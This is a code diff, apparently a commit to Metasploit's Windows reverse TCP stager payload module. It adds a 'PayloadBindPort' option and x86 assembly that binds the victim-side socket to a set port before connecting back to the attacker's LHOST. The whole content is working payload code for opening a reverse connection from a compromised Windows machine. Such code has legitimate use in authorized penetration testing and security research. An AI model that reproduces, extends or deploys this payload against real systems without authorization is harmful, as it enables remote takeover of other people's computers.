@@ -22,6 +22,14 @@ module Payload::Windows::ReverseTcp
22
22
include Msf ::Payload ::Windows ::BlockApi
23
23
include Msf ::Payload ::Windows ::Exitfunk
24
24
25
+ #
26
+ # Register reverse tcp specific options
27
+ #
28
+ def initialize ( *args )
29
+ super
30
+ register_advanced_options ( [ OptString . new ( 'PayloadBindPort' , [ false , 'Port to bind reverse tcp socket to on target system.' , '0' ] ) ] , self . class )
31
+ end
32
+
25
33
#
26
34
# Generate the first stage
27
35
#
@@ -31,6 +39,7 @@ def generate(opts={})
31
39
port : ds [ 'LPORT' ] ,
32
40
host : ds [ 'LHOST' ] ,
33
41
retry_count : ds [ 'ReverseConnectRetries' ] ,
42
+ bind_port : ds [ 'PayloadBindPort' ] ,
34
43
reliable : false
35
44
}
36
45
@@ -99,10 +108,16 @@ def required_space
99
108
#
100
109
def asm_reverse_tcp ( opts = { } )
101
110
111
+ bind_port = opts [ :bind_port ]
112
+
113
+ encoded_bind_port = "0x%.8x" % [ bind_port . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
102
114
retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
103
115
encoded_port = "0x%.8x" % [ opts [ :port ] . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
104
116
encoded_host = "0x%.8x" % Rex ::Socket . addr_aton ( opts [ :host ] ||"127.127.127.127" ) . unpack ( "V" ) . first
105
117
118
+ addr_fam = 2
119
+ sockaddr_size = 16
120
+
106
121
asm = %Q^
107
122
; Input: EBP must be the address of 'api_call'.
108
123
; Output: EDI will be the socket for the connection to the server
@@ -141,6 +156,33 @@ def asm_reverse_tcp(opts={})
141
156
push #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'WSASocketA' ) }
142
157
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
143
158
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
159
+ ^
160
+ # Check if a bind port was specified
161
+ if bind_port != 0
162
+ asm << %Q^
163
+ xor eax, eax
164
+ push 11
165
+ pop ecx
166
+ push_0_loop:
167
+ push eax ; if we succeed, eax will be zero, push it enough times
168
+ ; to cater for both IPv4 and IPv6
169
+ loop push_0_loop
170
+
171
+ ; bind to 0.0.0.0/[::], pushed above
172
+ push #{ encoded_bind_port } ; family AF_INET and port number
173
+ mov esi, esp ; save a pointer to sockaddr_in struct
174
+ push #{ sockaddr_size } ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
175
+ push esi ; pointer to the sockaddr_in struct
176
+ push edi ; socket
177
+ push #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'bind' ) }
178
+ call ebp ; bind( s, &sockaddr_in, 16 );
179
+ ^
180
+ end
181
+
182
+ asm << %Q^
183
+ push #{ encoded_host } ; host in little-endian format
184
+ push #{ encoded_port } ; family AF_INET and port number
185
+ mov esi, esp
144
186
145
187
try_connect:
146
188
push 16 ; length of the sockaddr struct
0 commit comments